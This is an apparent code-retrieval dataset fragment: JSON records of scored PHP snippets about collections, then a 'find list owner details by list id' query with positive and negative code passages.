enlightn_view_access_collections($owner_guid) {\n\tif ($collections = get_user_access_collections($owner_guid)) {\n\t\tforeach($collections as $key => $collection) {\n\t\t\t$collections[$key]->members = get_members_of_access_collection($collection->id, true);\n\t\t\t$collections[$key]->entities = get_site_members($CONFIG->site_guid,100000);\n\t\t}\n\t}\n\n\treturn elgg_view('friends/collections',array('collections' => $collections));\n}", "title": "" }, { "docid": "4110da4aec1e9607a5266ea3dc1343e0", "score": "0.5538224", "text": "public function collection() {\n return $this->hasMany('App\\Models\\Collection', 'user_id', 'id');\n }", "title": "" }, { "docid": "35752dc2878c2bff05b2f930390fe12b", "score": "0.5522532", "text": "public function show($id)\n {\n if( ! $this->has_access($id) ) return Response::json([], 401);\n\n $collection = Collection::find($id);\n if( empty($collection) ) return Response::json([], 404);\n\n return Response::json($collection, 200);\n }", "title": "" }, { "docid": "541be3386962008f54cc3b77e7c073c9", "score": "0.55224055", "text": "public function isCollection();", "title": "" }, { "docid": "776163ad6aab75eb23a6dc42745e447c", "score": "0.5512946", "text": "public function getCollectionName(): string;", "title": "" }, { "docid": "8e1827d1f56e55ba78ca59922f3f3a68", "score": "0.5510591", "text": "protected function showAll(Collection $collection,$code=200){\n return $this->successResponse(['data'=>$collection],$code);\n }", "title": "" }, { "docid": "c4e860bdac8548a03c0046abc1a1d7a4", "score": "0.5507482", "text": "public function create()\n {\n return view('admin.collections.create');\n }", "title": "" }, { "docid": "c4e860bdac8548a03c0046abc1a1d7a4", "score": "0.5507482", "text": "public function create()\n {\n return view('admin.collections.create');\n }", "title": "" }, { "docid": "5813393949543cd53a6cac49ee58bd6f", "score": "0.55030066", "text": "public function getCollectionById($id)\n {\n $collectionRecord = AmSearch_CollectionRecord::model()->findById($id);\n if ($collectionRecord) {\n return AmSearch_CollectionModel::populateModel($collectionRecord);\n }\n return null;\n }", "title": "" }, { "docid": "ddd5abaa0ec75c16e451a9710a3fc4be", "score": "0.5498772", "text": "public function getCollection()\n {\n return $this->_collection;\n }", "title": "" }, { "docid": "ee702e57e66ea5fe42bf8712a6baf0f2", "score": "0.54934114", "text": "function get_collections_menu()\n\t{\n\t\t$repos=$this->ci->Repository_model->select_all();\n\n\t\t/*$repos=array();\n\n\t\t//show collections that the active user has access to\n\t\tforeach($repos_ as $repo){\n\t\t\ttry{\n\t\t\t\t$this->ci->acl_manager->has_access('study', 'view',null,$repositoryid=$repo['repositoryid']);\n\t\t\t\t$repos[]=$repo;\n\t\t\t}\n\t\t\tcatch(Exception $e){\n\t\t\t}\t\t\t\n\t\t}*/\t\n\t\t\n\t\t//add central collection\n\t\tarray_unshift($repos, $this->ci->Repository_model->get_central_catalog_array());\n\n\t\t//html formatted list\n\t\treturn $this->ci->load->view(\"admin/site_menu_collections\",array('collections'=>$repos),true);\n\t}", "title": "" }, { "docid": "90ddb58183f41632e9097c5129b3867e", "score": "0.5472407", "text": "public function selectCollection ($db, $collection) {}", "title": "" }, { "docid": "90ddb58183f41632e9097c5129b3867e", "score": "0.5472407", "text": "public function selectCollection ($db, $collection) {}", "title": "" }, { "docid": "cf69e20fea979ea4330a8a66db20dfa5", "score": "0.5461958", "text": "public function getCollection()\n\t{\n\t\treturn Application::getCollection($this->getCollectionName(), $this->getModelName())->setResource($this->getResource());\n\t}", "title": "" }, { "docid": "c9754541d405c069d73f9c2890728ef0", "score": "0.5452872", "text": "public function getCollectionName();", "title": "" }, { "docid": "580c0565d346409b6cb8de684bf8e3b8", "score": "0.54523736", "text": "public function index() {\n\t\t$collections = Collection::where('public', '=', '1')->get();\n\n\t\treturn View::make('index') -> with('collections', $collections);\n\t}", "title": "" }, { "docid": "d207a13079c791231bea757b75511dd2", "score": "0.54523325", "text": "public static function loadByTitle($title) {\n\t\t$db = getDB();\n\t\t$stat = $db->prepare('SELECT * FROM collection WHERE title=:title');\n\t\t$stat->bindValue('title', $title);\n\t\t$stat->execute();\n\t\tif($stat->rowCount() == 1) {\n\t\t\treturn new Collection($stat->fetch(PDO::FETCH_ASSOC));\n\t\t}\t\t\n\t}", "title": "" }, { "docid": "fd61ef25b18b6de4b847cae950d00b58", "score": "0.5439216", "text": "public function giveCollection($args){\r\n\t\t\tif (!empty($args)) {\r\n\t\t\t\treturn new CList($this -> findAllByPk($args));\r\n\t\t\t} else {\r\n\t\t\t\treturn new CList();\r\n\t\t\t}\r\n\t\t}", "title": "" }, { "docid": "c291a4f4002c6d15de52b031cf5839a5", "score": "0.5428429", "text": "public function edit($id){\n $collection = Collection::findOrFail($id);\n $data = [];\n $data['collection'] = $collection;\n $data['products'] = Product::all();\n return view('admin.collections.edit', ['data' => $data]);\n }", "title": "" }, { "docid": "eeafbde23d7762501c0cbaedd4a70939", "score": "0.5425875", "text": "public function giveCollection($args){\n\t\t\tif (!empty($args)) {\n\t\t\t\treturn new CList($this -> findAllByPk($args));\n\t\t\t} else {\n\t\t\t\treturn new CList();\n\t\t\t}\n\t\t}", "title": "" }, { "docid": "b9038529171e3cb02f3b9b40ffb656a2", "score": "0.54164106", "text": "public function newAction(Request $request)\n {\n $collection = new Collection();\n $form = $this->createForm('PackratBundle\\Form\\CollectionType', $collection);\n $form->handleRequest($request);\n\n if ($form->isSubmitted() && $form->isValid()) {\n $em = $this->getDoctrine()->getManager();\n $em->persist($collection);\n $em->flush();\n\n return $this->redirectToRoute('collection_show', array('id' => $collection->getId()));\n }\n\n return $this->render('collection/new.html.twig', array(\n 'collection' => $collection,\n 'form' => $form->createView(),\n ));\n }", "title": "" }, { "docid": "4d53d7254450e0c10db064ccddb74ae9", "score": "0.5402436", "text": "public function showAction()\n {\n $list = $this->listFactory->createList($this->dataBackend, $this->configurationBuilder);\n $renderedCaptions = $this->rendererChain->renderCaptions($list->getListHeader());\n $columnSelector = $this->columnSelectorFactory->getInstance($this->configurationBuilder);\n\n $this->view->assign('columnSelector', $columnSelector);\n $this->view->assign('listHeader', $list->getListHeader());\n $this->view->assign('listCaptions', $renderedCaptions);\n }", "title": "" }, { "docid": "3561014ddd4ab65fe67a18e78c535e0f", "score": "0.53996766", "text": "public function show()\n {\n // get data\n $data = $this->model->get();\n\n // print_r($data); die();\n\n // render data\n $this->twig->render($this->template, $data);\n }", "title": "" }, { "docid": "767a0f2397b090680dd15fa243f59726", "score": "0.53984874", "text": "function by_collection($repositoryid=NULL)\n\t{\n\t\tif ($repositoryid==NULL)\n\t\t{\n\t\t\tshow_404();\n\t\t}\t\t\n\t\t\n\t\t$repo=$this->Repository_model->get_repository_by_repositoryid($repositoryid);\n\n\t\tif($repo['group_da_public']!=='1')\n\t\t{\n\t\t\tshow_404();\n\t\t}\n\t\t\n\t\t$user=$this->ion_auth->current_user();\n\t\t\n\t\t//set data to be passed to the view\n\t\t$data->user_id=$user->id;\n\t\t$data->username=$user->username;\n\t\t$data->fname=$user->first_name;\n\t\t$data->lname=$user->last_name;\n\t\t$data->organization=$user->company;\n\t\t$data->email=$user->email;\n\t\t$data->collection=$repo;\n\t\t$data->surveys=$this->Repository_model->repo_survey_list($repositoryid,array('public'));\n\t\t$data->abstract=$this->input->post(\"abstract\");\n\t\t\t\t\n\t\t$has_access=$this->Public_model->check_user_public_request_by_collection($user->id,$repositoryid);\n\t\t\n\t\tif (!$has_access)\n\t\t{\n\t\t\t//show terms and conditions\n\t\t\t$this->collection_terms($data);\n\t\t}\n\t\telse\n\t\t{\n\t\t\t//show surveys from collection\n\t\t\t$content=$this->load->view('access_public/collection_surveys',$data,TRUE);\n\t\t\t$this->template->write('title', t('survey_data_files'),true);\n\t\t\t$this->template->write('content', $content,true);\n\t \t\t$this->template->render();\n\t\t}\n\t}", "title": "" }, { "docid": "89c4f1bc14252aa63c108bb8b59526a0", "score": "0.5378977", "text": "public function search(): Collection;", "title": "" }, { "docid": "8d6740b0ddc1a411e4a2d5d91eb1a6a7", "score": "0.5376411", "text": "public function show(\\Illuminate\\Http\\Request $request)\n {\t\n\t\t$collectionShow = collect([]);\n\t\t$collectionCreate = collect([]);\n\t\t$collectionOrderAttributes = collect([]);\n\t\t$entity = $this->repository->entity();\n\t\tLog::info('Execute '. $entity.' show.');\n\t\t//Log::info('Execute Profile show. '. $request->url());\n\t\t$id = substr($request->url(), strrpos($request->url(), '/') + 1);\n\t\t//Log::info('ID. '. $id);\n\t\ttry {\n\t\t\t$command = $this->repository->find($id);\n\t\t} catch (\\Exception $e) {\n\t\t\t$request->session()->flash('statusError', 'Acceso no válido');\n\t\t\treturn view('error');\n\t\t}\n\t\t$action = action($this->getIndexActionName());\n\t\t$page = $request->input('page');\n\t\t\n\t\t$orderAttributes = $this->repository->getInstance()->getOrderAttributes();\n\t\t$this->processRequestOrder($request, $orderAttributes, null, $collectionOrderAttributes);\n\t\t\n\t\t$columnOrder = $request->input('columnOrder');\n\t\tif (empty($columnOrder) && $collectionOrderAttributes->isNotEmpty()) {\n\t\t\t$columnOrder = $collectionOrderAttributes->take(1);\n\t\t}\n\t\t\n\t\t$filterAttributes = $this->repository->getInstance()->getFilterAttributes();\n\t\t$collectionFilterAttributes = collect([]);\n\t\t$this->processRequestFilters($request, $filterAttributes, null, $collectionFilterAttributes);\n\t\t\n\t\t$collectionShow->put('command', $command);\n\t\t$collectionShow->put('page', $page);\n\t\t$collectionShow->put('action', $action);\n\t\t$collectionShow->put('method', 'POST');\n\t\t$collectionShow->put('filters', $collectionFilterAttributes);\n\t\t$collectionShow->put('orders', $collectionOrderAttributes);\n\t\t\n\t\t$this->referenceData($request, $collectionShow);\n\t\t\n return view($this->getShowView(), $collectionShow->all());\n }", "title": "" }, { "docid": "dc5d3affe8fec7bd508de62843c2f7cf", "score": "0.5372128", "text": "public function getCollection($name)\n {\n try {\n $document = $this->dm->getRepository($name);\n\n return $document;\n } catch (\\Doctrine\\ODM\\CouchDB\\Mapping\\MappingException $e) {\n $exception = new \\Illuminate\\Database\\Eloquent\\ModelNotFoundException();\n $exception->setModel($name);\n throw $exception;\n }\n }", "title": "" }, { "docid": "b5f30096267b171b94e098487eaabf76", "score": "0.5366559", "text": "public function collections()\n {\n return $this->belongsToMany(Collection::class)->withTimestamps();\n }", "title": "" } ]
79ede0957236a9844b8d271bb112919e
/ Find list owner details by list id
[ { "docid": "a028890dfcc27664a0aa03bfdeacbbd4", "score": "0.63958037", "text": "public function get_list_author_by_id($list_id) {\n $condition = array('id' => $list_id);\n $this->db->select('user_id');\n $this->db->where($condition);\n $query = $this->db->get('lists');\n $list_details = $query->row_array();\n return $list_details['user_id'];\n }", "title": "" } ]
[ { "docid": "fe0cdf94eb1f2b8246f96db24d2bc692", "score": "0.76197165", "text": "public function get_list_owner($list_id){\n $condition = array('id' => $list_id);\n $this->db->select('created_user_name as owner');\n $this->db->where($condition);\n $query = $this->db->get('lists');\n $owner_name = $query->row_array();\n return $owner_name['owner'];\n }", "title": "" }, { "docid": "663d1af9672114b61809f50b9b85d301", "score": "0.7578467", "text": "public function getListOwner($list_id) {\n $condition = array('id' => $list_id);\n $this->db->select('user_id');\n $this->db->where($condition);\n $query = $this->db->get('lists');\n $response = $query->row_array();\n return $response['user_id'];\n }", "title": "" }, { "docid": "df67105f7bc645481f21a3f672c9dc0c", "score": "0.6850704", "text": "function getListingOwner($result_id) {\n $query = \"SELECT User.id user_id, User.name, User.email\n FROM #__users AS User \".\n \"WHERE User.id = \" . (int) $result_id;\n $this->_db->setQuery($query);\n return current($this->_db->loadAssocList());\n }", "title": "" }, { "docid": "4d8c2001c36e1113a61b230d5bf29c0a", "score": "0.6357397", "text": "function getOwnerNameList($idList)\n\t{\n\t\tif (is_array($idList))\n\t\t{\n\t\t\t$idList = array_filter($idList);\n\t\t\tif (count($idList) == 0)\n\t\t\t\treturn array ();\n\t\t}\n\t\telseif ($idList == '')\n\t\t{\n\t\t\treturn array ();\n\t\t}\n\t\t$nameList = array ();\n\t\t/*\t$db = PearDatabase::getInstance();\n\t$sql = \"select user_name,id from vtiger_users where id in (\".generateQuestionMarks($idList).\")\";\n\t$result = $db->pquery($sql, $idList);\n\t$it = new SqlResultIterator($db, $result);\n\tforeach ($it as $row) {\n\t\t$nameList[$row->id] = $row->user_name;\n\t}\n*/\n\t\t$query = XN_Query::create('Content')->tag('Users')\n\t\t\t\t\t\t ->filter('type', 'eic', 'users');\n\t\tif (is_array($idList))\n\t\t\t$query->filter('my.profileid', 'in', array_unique($idList));\n\t\telse\n\t\t\t$query->filter('my.profileid', '=', $idList);\n\t\t$query->order('my.sequence', XN_Order::ASC_NUMBER);\n\t\t$query->end(-1);\n\t\t$resutle = $query->execute();\n\t\tforeach ($resutle as $query_info)\n\t\t{\n\t\t\t$givename = $query_info->my->givename;\n\t\t\tif (isset($givename) && $givename != \"\")\n\t\t\t{\n\t\t\t\t$nameList[$query_info->my->profileid] = $query_info->my->givename;\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t$nameList[$query_info->my->profileid] = $query_info->my->last_name;\n\t\t\t}\n\t\t}\n\n\t\t/*$groupIdList = array_diff($idList, array_keys($nameList));\n\tif(count($groupIdList) > 0)\n\t\t$query = XN_Content::loadMany($groupIdList,'Groups');\n\t\tforeach($query as $query_info){\n\t\t\t$nameList[$query_info->id] = $query_info->my->groupname;\n\t\t}\n\t}*/\n\n\t\treturn $nameList;\n\t}", "title": "" }, { "docid": "c182b200693a7a5a8b0615638af401c5", "score": "0.6270053", "text": "public function find_list_details_by_id($list_id) {\n $condition = array('lists.id' => $list_id);\n $this->db->select('lists.name as list_name, lists.id as list_id, lists.parent_id, lists.list_inflo_id as list_inflo_id, lists.slug as list_slug, lists.list_type_id as type_id, lists.show_completed as show_completed, lists.allow_move as allow_move, lists.allow_undo as allow_undo, , lists.visible_in_search, lists.allow_maybe as allow_maybe, lists.show_time as show_time, lists.show_author, lists.enable_comment as enable_comment, lists.enable_attendance_comment as enable_attendance_comment, lists.user_id as list_owner_id, lists.is_locked as is_locked, lists.show_preview as show_preview, lists.allow_append_locked, lists.start_collapsed, lists.is_deleted as is_deleted, lists.user_id as user_id, lists.created_user_name');\n \n// $this->db->select('lists.name as list_name, lists.id as list_id, lists.slug as list_slug, lists.list_type_id as type_id, lists.show_completed as show_completed, lists.allow_move as allow_move, lists.allow_undo as allow_undo, lists.user_id as list_owner_id, lists.is_locked as is_locked, lists.is_deleted as is_deleted');\n $this->db->where($condition);\n $query = $this->db->get('lists');\n $list_details = $query->row_array();\n return $list_details;\n }", "title": "" }, { "docid": "2e9d2547f2f9024e53f06e548b53f6d0", "score": "0.62086374", "text": "public function getOwnersList(){\n return $this->_get(6);\n }", "title": "" }, { "docid": "9858b1b2267fbf99caff04e2a50bdedb", "score": "0.6149883", "text": "function get_list($user, $list_id){\n\t//grab the lists using previous functions\n\t$lists = lists::get_lists($user);\n\n\t//look for the requested one\n\tforeach ($lists as $list) {\n\t\tif($list->get_id() == $list_id ){\n\t\t\t$return_list = $list;\n\t\t}\n\t}\n\n\treturn $return_list;\n}", "title": "" }, { "docid": "562856c4bed8183d97d8d46ac35237d6", "score": "0.6087145", "text": "public function get_list_details_for_share($list_id) {\n $condition = array('lists.is_deleted' => 0, 'lists.id' => $list_id);\n $this->db->select('name, slug');\n $this->db->where($condition);\n $query = $this->db->get('lists');\n return $query->row_array();\n }", "title": "" }, { "docid": "86e204aaddcaecb4e19f9fb1ac83d39e", "score": "0.60698026", "text": "function checkListOwnership($current_user, $list_id) {\nrequire 'db_connect.php';\n if($mysqli->connect_error) {\n die(\"$mysqli->connect_errno: $mysqli->connect_error\");\n }\n\n $query=\"SELECT COUNT(*) FROM owners as o, users as u, lists as l WHERE o.list_id=l.id AND l.id=? AND o.member_id=u.id AND u.username=?\";\n\n $stmt = $mysqli->stmt_init();\n if(!$stmt->prepare($query)) {\n print(\"Failed to prepare statement! (checkListOwnership)\");\n } else {\n $stmt->bind_param('is', $list_id, $current_user);\n $stmt->execute();\n $stmt->bind_result($count);\n $stmt->fetch();\n\n if($count >= 1) {\n $owner = True;\n } else {\n $owner = False;\n }\n return $owner;\n }\nmysqli_stmt_close($stmt);\nmysqli_close($mysqli);\n}", "title": "" }, { "docid": "7d8edfe986fe16f4a683a8169cd4d1b8", "score": "0.6047641", "text": "public function getOwnerInfo();", "title": "" }, { "docid": "5640721f27de93cb6afd0ad339797f91", "score": "0.59565103", "text": "public function getOwnerList($param=array())\n {\n $this->db->select ( 'psl_team_owner.*');\n if(isset($param ['limit']))\n {\n $this->db->limit ( $param ['limit'], $param ['offset'] );\n }\n $this->db->order_by('id','desc');\n $query = $this->db->get('psl_team_owner');\n $owner_list = $query->result_array();\n return $owner_list;\n }", "title": "" }, { "docid": "4a463c03e4234c08e14ba037719ba7bf", "score": "0.59495986", "text": "protected abstract function getListId();", "title": "" }, { "docid": "c9726e1307e164662b0ce7d1f03fee03", "score": "0.5935785", "text": "function getOwnerLists($user_id) {\nrequire 'db_connect.php';\n\n if($mysqli->connect_error) {\n die(\"$mysqli->connect_errno: $mysqli->connect_error\");\n }\n\n $query = \"SELECT l.id,l.name FROM lists as l, owners as o, users as u WHERE u.id=? AND u.id=o.member_id AND o.list_id=l.id\";\n\n $return_data = array();\n\n $stmt = $mysqli->stmt_init();\n if(!$stmt->prepare($query)) {\n print($stmt->error);\n } else {\n $stmt->bind_param('i', $user_id);\n $stmt->execute();\n $stmt->store_result();\n $stmt->bind_result($colo1,$colo2);\n $num_rows = $stmt->num_rows;\n $return_data[] = $num_rows;\n\n while($stmt->fetch()) {\n $temp_array = array();\n\t$temp_array[] = $colo2;\n\t$temp_array[] = $colo1;\n $return_data[] = $temp_array;\n }\n\n return $return_data;\n }\n\nmysqli_stmt_close($stmt);\nmysqli_close($mysqli);\n\n}", "title": "" }, { "docid": "ea4ad9529b6b1f1832159c1c6a552dc6", "score": "0.5909504", "text": "public function get_listId() {\n\t\treturn $this->listId;\n\t}", "title": "" }, { "docid": "c832566ca6fcfe9d94172f61f1d0e4da", "score": "0.5893538", "text": "public function getListSource()\n {\n return $this->owner;\n }", "title": "" }, { "docid": "74ca384cf3ba756fd01a921642f4ef54", "score": "0.5867384", "text": "public function list_owner()\n {\n $query = User::select(DB::raw(\"CONCAT(name,' ',lastname) AS owner\"), 'id')->whereHas(\n 'roles', function($q){\n $q->where('name','=', 'owner');\n }\n )->pluck('owner', 'id')->all();\n\n return ['' => trans('app.select_owner')] + $query;\n }", "title": "" }, { "docid": "1740034bd8cf37a408f7a4c118b4c320", "score": "0.58073676", "text": "public function getListId();", "title": "" }, { "docid": "308c767cfdf7a7a5b7ba29c0ef300e05", "score": "0.57838875", "text": "public function getListId()\n {\n return $this->list_id;\n }", "title": "" }, { "docid": "b6778592db67e72ad60ac8edcaeaca3d", "score": "0.5732408", "text": "function getShowOwnerInfo($show_id)\n{\n $MS = ManageShows::find($show_id);\n return $collection = User::where('id',$MS->user_id)->first();\n}", "title": "" }, { "docid": "2f6b7f0305a16dbe0e9606fbcee7e9ca", "score": "0.5684712", "text": "public function getListOwner($userId)\n\t{\n $res = $this->db->query(\"SELECT username FROM wishlistUsers WHERE userId=$userId\");\n $data = $res->row_array();\n\t\treturn $data;\n\t}", "title": "" }, { "docid": "5908c5432e77230ea5ab0e523fab495f", "score": "0.5639877", "text": "public function consultPublicLists(){\n global $vues;\n $l_manager=new ListManager();\n $lists=$l_manager->getByUser(null);\n require_once($vues['displayLists']);\n }", "title": "" }, { "docid": "2cb7d7c3f1e9ff6565ffea53c404d581", "score": "0.56310457", "text": "function getOwnerName($id)\n\t{\n\t\t$ownerList = getOwnerNameList(array ($id));\n\n\t\treturn $ownerList[$id];\n\t}", "title": "" }, { "docid": "bc2fad08f29ee837330e52ecf2a215f3", "score": "0.56015503", "text": "public function getOwnerNsid();", "title": "" }, { "docid": "a41b0af7555e67addc73bebf65955d56", "score": "0.56004435", "text": "public function find_list_id_by_name($list_name, $parent_id){\n $condition = array('name' => $list_name, 'parent_id' => $parent_id);\n $this->db->select('id');\n $this->db->where($condition);\n $query = $this->db->get('lists');\n $list_name = $query->row_array();\n return $list_name['id'];\n }", "title": "" }, { "docid": "6cd532b5b25484aacd6c63fe65b8e699", "score": "0.5554221", "text": "public function getOwnersList($mode='pretty')\n\t{\n\t\t$db = connectToDB();\n\t\t\n\t\t$result = dbquery($db, 'select username, uid\n\t\t\t\t\t\t\t\tfrom users\n\t\t\t\t\t\t\t\tinner join comments on comments.user=users.uid\n\t\t\t\t\t\t\t\tinner join booksncomms on booksncomms.cid=comments.cid\n\t\t\t\t\t\t\t\twhere booksncomms.bid='\n\t\t\t\t\t\t\t\t.$this->bid.' and comments.title!=\"\" order by users.username');\n\t\t\n\t\t$owners = array();\n\t\t$ownersid = array();\n\t\t$i = 0;\n\t\twhile ($row = $result->fetch_object())\n\t\t{\n\t\t\t$owners[$i++] = $row->username;\n\t\t\t$ownersid[$i++] = $row->uid;\n\t\t}\n\t\t\n\t\tif ($mode == 'ids') return $ownersid;\n\t\telse if ($mode == 'names') return $owners;\n\t\t\n\t\t$owners = array_reverse($owners, true);\n\t\t$ownersid = array_reverse($ownersid, true);\n\t\t$ownersStr = '';\n\t\t$i = 0;\n\t\twhile($item = array_pop($owners))\n\t\t{\n\t\t\tif ($i > 0) {$ownersStr .= \", \";}\n\t\t\t$itemid = array_pop($ownersid);\n\t\t\t$ownersStr .= '<a href=\"profile.php?uid=\"'.$itemid.'\">'.$item.'</a>';\n\t\t\t$i++;\n\t\t}\n\t\t\n\t\t$db->close();\n\t\treturn $ownersStr;\n\t}", "title": "" }, { "docid": "15c04f26bd672aa44d8a8fa3439d2c34", "score": "0.5542509", "text": "public function find_list_name_by_id($list_id) {\n $condition = array('id' => $list_id);\n $this->db->select('name');\n $this->db->where($condition);\n $query = $this->db->get('lists');\n $list_details = $query->row_array();\n return $list_details['name'];\n }", "title": "" }, { "docid": "15ce63860670a5f6f3708d5b99f960a5", "score": "0.5539128", "text": "public function getOwnerGuid();", "title": "" }, { "docid": "9d27a7ed4a69c2b072ee8f1835444664", "score": "0.5538906", "text": "function getList( &$pListHash ) {\n\t\tLibertyContent::prepGetList( $pListHash );\n\t\t\n\t\t$whereSql = $joinSql = $selectSql = '';\n\t\t$bindVars = array();\n\t\tarray_push( $bindVars, $this->mContentTypeGuid );\n\t\t$this->getServicesSql( 'content_list_sql_function', $selectSql, $joinSql, $whereSql, $bindVars );\n\n\t\tif ( isset($pListHash['find']) ) {\n\t\t\t$findesc = '%' . strtoupper( $pListHash['find'] ) . '%';\n\t\t\t$whereSql .= \" AND (UPPER(con.`SURNAME`) like ? or UPPER(con.`FORENAME`) like ?) \";\n\t\t\tarray_push( $bindVars, $findesc );\n\t\t}\n\n\t\tif ( isset($pListHash['add_sql']) ) {\n\t\t\t$whereSql .= \" AND $add_sql \";\n\t\t}\n\n\t\t$query = \"SELECT con.*, lc.*, \n\t\t\t\tuue.`login` AS modifier_user, uue.`real_name` AS modifier_real_name,\n\t\t\t\tuuc.`login` AS creator_user, uuc.`real_name` AS creator_real_name $selectSql\n\t\t\t\tFROM `\".BIT_DB_PREFIX.\"citizen` ci \n\t\t\t\tINNER JOIN `\".BIT_DB_PREFIX.\"liberty_content` lc ON ( lc.`content_id` = ci.`content_id` )\n\t\t\t\tLEFT JOIN `\".BIT_DB_PREFIX.\"users_users` uue ON (uue.`user_id` = lc.`modifier_user_id`)\n\t\t\t\tLEFT JOIN `\".BIT_DB_PREFIX.\"users_users` uuc ON (uuc.`user_id` = lc.`user_id`)\n\t\t\t\t$joinSql\n\t\t\t\tWHERE lc.`content_type_guid`=? $whereSql \n\t\t\t\torder by \".$this->mDb->convertSortmode( $pListHash['sort_mode'] );\n\t\t$query_cant = \"SELECT COUNT(lc.`content_id`) FROM `\".BIT_DB_PREFIX.\"citizen` ci\n\t\t\t\tINNER JOIN `\".BIT_DB_PREFIX.\"liberty_content` lc ON ( lc.`content_id` = ci.`content_id` )\n\t\t\t\t$joinSql\n\t\t\t\tWHERE lc.`content_type_guid`=? $whereSql\";\n\n\t\t$ret = array();\n\t\t$this->mDb->StartTrans();\n\t\t$result = $this->mDb->query( $query, $bindVars, $pListHash['max_records'], $pListHash['offset'] );\n\t\t$cant = $this->mDb->getOne( $query_cant, $bindVars );\n\t\t$this->mDb->CompleteTrans();\n\n\t\twhile ($res = $result->fetchRow()) {\n\t\t\t$res['citizen_url'] = $this->getDisplayUrlFromHash( $res );\n\t\t\t$ret[] = $res;\n\t\t}\n\n\t\t$pListHash['cant'] = $cant;\n\t\tLibertyContent::postGetList( $pListHash );\n\t\treturn $ret;\n\t}", "title": "" }, { "docid": "f8174a2328927671913832823522da21", "score": "0.5526454", "text": "public function getListId()\n {\n return Hash::get($this->data, 'list_id');\n }", "title": "" }, { "docid": "e480f5c345e92b25d1361ee1cf924efa", "score": "0.5492312", "text": "public function getOwnerId()\n {\n return $this->owner_id;\n }", "title": "" }, { "docid": "6c3664513a3cabd0e14c38d376762311", "score": "0.5491374", "text": "public function getOwnerUserId();", "title": "" }, { "docid": "f1c5772c2bcf24b6e1dee8d8a95e2cc6", "score": "0.5455416", "text": "public function getUserListDetails($listID)\n\t{\n\n\t\t$request_URL = $this->REST_URL.\"siteadmin/userlists/\".$listID;\n\n\t\t$this->setCommonCurlOptions();\n\n\t\t$response = $this->curl->get($request_URL);\n\n\t\tif($this->debug) $this->printResponseDebug('getUserListDetails',$request_URL,'',$response);\n\n\t\t//Valid Return Codes for REST API are 200 or 202\n\t\tif (($response->headers['Status-Code'] != 200) && ($response->headers['Status-Code'] != 202)) {\n\t\t\t$this->errorHandler($response);\n\t\t\treturn 0;\n\t\t}\n\n\t\t$xml = simplexml_load_string($response);\t\t\n\t\tforeach ($xml->memberList->listMember as $listMember) {\n\t\t\t$memberList[] = (string) $listMember;\t\t\t\n\t\t}\n\n\t\treturn $memberList;\n\t}", "title": "" }, { "docid": "42adb57c308e788644e9669a31afe04e", "score": "0.5431113", "text": "public function getOwners()\n {\n return $this->makeRequest('leads/list/owners');\n }", "title": "" }, { "docid": "e9c0a6b02ebcd027c23015fd949b76f0", "score": "0.5427935", "text": "public function find_public_lists() {\n $condition = array('lists.user_id' => NULL);\n $rst = $this->db->select('lists.*, count(list_data.id) as items');\n $this->db->join('list_data', 'lists.id = list_data.list_id', 'left');\n $this->db->where($condition);\n $this->db->group_by('lists.id');\n $query = $this->db->get('lists');\n return $query->result_array();\n }", "title": "" }, { "docid": "129d13f84a8def14b3ee078003b92cdc", "score": "0.5421662", "text": "function displayFriendList($user, $profileOwner, $conn){\n echo \"<br>\";\n $sql = \"SELECT * FROM `gamecache`.`userfriends` WHERE `User ID` LIKE '$profileOwner'\";\n $result = $conn->query($sql);\n\n if ($result->num_rows > 0){\n\n echo \"<br> Following: \";\n\n while ($row = $result->fetch_assoc()) {\n $friendID = $row[\"Friend ID\"];\n\n echo \"<br>\";\n echo \" <a href='userPageDisplay.php?profileOwner=$friendID'> $friendID </a> \";\n\n //If user is owner of list, give edit and delete options\n if (isOwner($user, $profileOwner)) {\n deleteFriend($friendID);\n }\n }\n }\n }", "title": "" }, { "docid": "e25fb3ceb6a768cc6b27fe896379c1d7", "score": "0.54197353", "text": "public function getListId() {\n\t\treturn $this->get_listId();\n\t}", "title": "" }, { "docid": "e0c19e37f4ca5292884c5810ea052e7e", "score": "0.540786", "text": "public function catOwnerList(){\n\n $em = $this->getDoctrine()->getManager();\n\n $ownerList = $em->getRepository('AppBundle:Owner')->findAllOrderedByLastName();\n\n return $this->render('cat/ownerlist.html.twig', array(\n 'ownerList' => $ownerList\n ));\n }", "title": "" }, { "docid": "7504addfa36a4e262b099987c65df7e6", "score": "0.5407511", "text": "public function search($list_id)\n\t{\n\t\t// @todo Please modify the following code to remove attributes that should not be searched.\n\n\t\t$criteria=new CDbCriteria;\n\n\t\t$userId = Login::model()->getUserId(); \n\t\t$criteria->addCondition(array(\"condtion\"=>\"user_id = $userId\"));\n\n\t\t// limits the recipients to displayed to those of the same list \n\t\t$criteria->addCondition(array(\"condition\"=>\"list_id = $list_id\"));\n\n\t\t$criteria->compare('id',$this->id);\n\t\t$criteria->compare('list_id',$this->list_id);\n\t\t$criteria->compare('user_id',$this->user_id);\n\t\t$criteria->compare('name',$this->name,true);\n\t\t$criteria->compare('position',$this->position,true);\n\t\t$criteria->compare('msisdn',$this->msisdn,true);\n\t\t$criteria->compare('balance',$this->balance,true);\n\t\t$criteria->compare('status',$this->status,true);\n\n\t\treturn new CActiveDataProvider($this, array(\n\t\t\t'criteria'=>$criteria,\n\t\t));\n\t}", "title": "" }, { "docid": "d1e1d4311abfbeab845f5d74eae53bee", "score": "0.54039377", "text": "public function listOne($id)\n {\n\n }", "title": "" }, { "docid": "2e92a3539ab5f6e79545ec9a3413d370", "score": "0.5398016", "text": "function getMemberSuscribedList($listId, $email_suscribed){\n $subscriber_hash = strtolower(MD5($email_suscribed));\n $WS_URI = $this->apiUrl . \"/lists/$listI d/members/$subscriber_hash\";\n $params = array();\n\n $response = Http::connect($this->host, $this->port, http::HTTPS)\n //->setHeaders(array('Content-Type: application/json', 'Accept: application/json'))\n ->setCredentials($this->user, $this->apiKey)\n ->doGet($WS_URI, $params); \n $arr_response = json_decode($response, true);\n return $arr_response;\n }", "title": "" }, { "docid": "28866c515e873e10975d3db2a5a45bdc", "score": "0.5385107", "text": "public function _owner()\n {\n // return;\n $is_login = user_is_login();\n if (!$is_login) {\n redirect('index');\n }\n\n $user = user_get_account_info();\n\n\n // Filter set\n $filter = array();\n $filter['user_id'] = $user->id;\n $filter['show'] = '1';\n // Option set\n $input = array();\n $input['order'] = array('created', 'desc');\n\n // $this->data['list'] = model('product')->filter_get_list($filter, $input);\n $this->_create_list($input, $filter);\n\n\n page_info('breadcrumbs', array('#', lang('my_products'), lang('my_products')));\n page_info('title', 